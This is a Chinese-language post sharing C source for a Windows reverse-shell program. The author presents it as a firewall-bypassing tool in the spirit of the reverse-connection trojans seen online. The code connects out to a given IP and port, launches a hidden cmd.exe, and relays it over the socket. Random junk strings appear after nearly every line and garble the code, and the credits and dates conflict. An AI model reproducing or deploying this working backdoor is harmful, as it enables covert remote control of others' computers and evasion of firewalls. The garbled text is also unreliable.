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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >R9_ ;  
g}vOp3 ^  
/* ============================== vLc7RL  
Rebound port in Windows NT X:un4B}O  
By wind,2006/7 `ZC{<eVJ}=  
===============================*/ #JOWiO0>  
#include #lf3$Tm D  
#include BkH- d z  
&7}\mnhB  
#pragma comment(lib,"wsock32.lib") G<5i %@  
|9 Gng`)  
void OutputShell(); &V$qIvN$  
SOCKET sClient; JB_<Haj  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &?#,rEw<x  
cEP!DUo  
void main(int argc,char **argv) cIm_~HH  
{ (Ov{gj^  
WSADATA stWsaData; )t$<FP  
int nRet; /YyimG7  
SOCKADDR_IN stSaiClient,stSaiServer; _D{V(c<WD  
\BoRYb9h  
if(argc != 3) M<AjtDF%  
{ ;T9u$4 <  
printf("Useage:\n\rRebound DestIP DestPort\n"); tR! !Q  
return; uA'S8b%C  
} :Z}d#Rbl  
]d}h`!:  
WSAStartup(MAKEWORD(2,2),&stWsaData); $s*nh>@7  
X J+y5at  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mdj?;'Yv  
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stSaiClient.sin_family = AF_INET; :|Ckr-k"1e  
stSaiClient.sin_port = htons(0); xD:t$~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TjU g8k  
M_:_(y>l  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {pV\]E\]  
{ SRUg2)d  
printf("Bind Socket Failed!\n"); /8)-j}gZa  
return; 4/z K3%J  
} FnoE\2}9  
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stSaiServer.sin_family = AF_INET; {.D^2mj |  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zq:+e5YT?T  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0ESxsba  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4(h19-V  
{ ?yfw3s  
printf("Connect Error!"); \),DW)  
return; CQ4MQ<BJ.  
} #:~MtV  
OutputShell(); '=M4 (h  
} rx$B(z(c  
+b9gP\Hke  
void OutputShell() /M0A9ZT[  
{ \!+#9sq0  
char szBuff[1024]; NSsLuM=.  
SECURITY_ATTRIBUTES stSecurityAttributes; UdIl5P  
OSVERSIONINFO stOsversionInfo; z'W8t|m}Pb  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; C1x"q9| \`  
STARTUPINFO stStartupInfo; mMz^I7$  
char *szShell; 9AA_e ~y  
PROCESS_INFORMATION stProcessInformation; kF1Tg KSd  
unsigned long lBytesRead; by:"aDGK.  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xT]|78h$   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dN8@ 0AMSf  
stSecurityAttributes.lpSecurityDescriptor = 0; LU=<? "N6  
stSecurityAttributes.bInheritHandle = TRUE; *hk8[  
d,hKy2  
[i9.#*  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R#n!1~ (  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); prdlV)LTpY  
]]EOCGZ"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $=IJ-_'o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bm</qF'T6  
stStartupInfo.wShowWindow = SW_HIDE; VV$$t;R/  
stStartupInfo.hStdInput = hReadPipe; nx2iEXsa  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vFz#A/1  
@`IMR$'  
GetVersionEx(&stOsversionInfo); ib-)T7V`  
1+{V^) V?  
switch(stOsversionInfo.dwPlatformId) FC +}gJ(q  
{ 6]Vf`i  
case 1: &f;<[_QI=  
szShell = "command.com"; RTL A*  
break; >" z$p@7  
default: :vsF4  
szShell = "cmd.exe"; dYEsSFB m  
break; MnQ4,+ji-  
} k|r+/gIV  
fFSQLtm?E  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Z [aKic  
pZ IDGy=~  
send(sClient,szMsg,77,0); 3YFbT Z  
while(1) ^z _m<&r  
{ &4dh$w]q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'Avp16zg  
if(lBytesRead) qubyZ8hx  
{ S5,y!K]C~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); < s>y{ e  
send(sClient,szBuff,lBytesRead,0); cl'#nLPz;  
} k;fy8  
else ~+HZQv3Y  
{ 5C G ,l  
lBytesRead=recv(sClient,szBuff,1024,0); ~vL`[JiK  
if(lBytesRead<=0) break; 3SeM:OYq]s  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dw"Tv ~  
} TTfU(w%&P  
} Yu`KHvur  
Hy*_4r  
return; W`d\A3v  
}
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